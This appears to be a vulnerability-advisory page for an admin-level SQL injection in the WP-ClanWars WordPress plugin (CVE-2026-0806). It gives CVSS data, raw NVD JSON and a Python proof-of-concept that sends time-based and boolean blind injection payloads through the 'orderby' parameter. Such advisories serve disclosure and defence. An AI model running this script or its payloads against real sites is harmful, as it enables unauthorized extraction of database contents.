Security Vulnerability Report
中文
CVE-2026-0806 CVSS 4.9 MEDIUM

CVE-2026-0806

Published: 2026-01-24 08:16:07
Last Modified: 2026-04-15 00:35:42

Description

The WP-ClanWars plugin for WordPress is vulnerable to SQL Injection via the 'orderby' parameter in all versions up to, and including, 2.0.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP-ClanWars plugin <= 2.0.1 (所有版本直至2.0.1均受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from urllib.parse import urlencode # CVE-2026-0806 SQL Injection PoC # Target: WordPress with WP-ClanWars plugin <= 2.0.1 # Authentication required: Administrator privileges def exploit_sqli(target_url, cookie): """ Exploits SQL injection in WP-ClanWars orderby parameter """ # Vulnerable endpoint - teams listing with orderby parameter endpoint = f"{target_url}/wp-admin/admin.php?page=wp-clanwars-teams" # Malicious payload - extracts database version # Using time-based blind SQL injection payload = "id),(SELECT IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0))--" params = { 'orderby': payload, 'order': 'asc' } headers = { 'Cookie': cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } print(f"[*] Targeting: {target_url}") print(f"[*] Injecting payload: {payload}") try: response = requests.get(endpoint, params=params, headers=headers, timeout=30) print(f"[+] Request sent to {endpoint}") print(f"[*] Response status: {response.status_code}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def extract_data(target_url, cookie, query): """ Extract data using union-based or boolean-based SQL injection """ endpoint = f"{target_url}/wp-admin/admin.php?page=wp-clanwars-teams" # Boolean-based blind SQL injection for data extraction payload = f"id),(IF({query},1,0))--" params = { 'orderby': payload, 'order': 'asc' } headers = { 'Cookie': cookie } response = requests.get(endpoint, params=params, headers=headers) return response if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-0806_poc.py <target_url> <admin_cookie>") print("Example: python cve-2026-0806_poc.py http://example.com 'wordpress_abc123...'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit_sqli(target, cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0806", "sourceIdentifier": "[email protected]", "published": "2026-01-24T08:16:07.400", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP-ClanWars plugin for WordPress is vulnerable to SQL Injection via the 'orderby' parameter in all versions up to, and including, 2.0.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}, {"lang": "es", "value": "El plugin WP-ClanWars para WordPress es vulnerable a inyección SQL a través del parámetro 'orderby' en todas las versiones hasta la 2.0.1, inclusive, debido a un escape insuficiente en el parámetro proporcionado por el usuario y la falta de preparación suficiente en la consulta SQL existente. Esto hace posible que atacantes autenticados, con acceso de nivel de administrador y superior, añadan consultas SQL adicionales en consultas ya existentes que pueden ser utilizadas para extraer información sensible de la base de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://cwe.mitre.org/data/definitions/89.html", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-clanwars/tags/2.0.1/classes/teams.class.php#L92", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-clanwars/trunk/classes/teams.class.php#L92", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/65aa20e2-efc1-481a-8ed4-423d2420c3db?source=cve", "source": "[email protected]"}]}}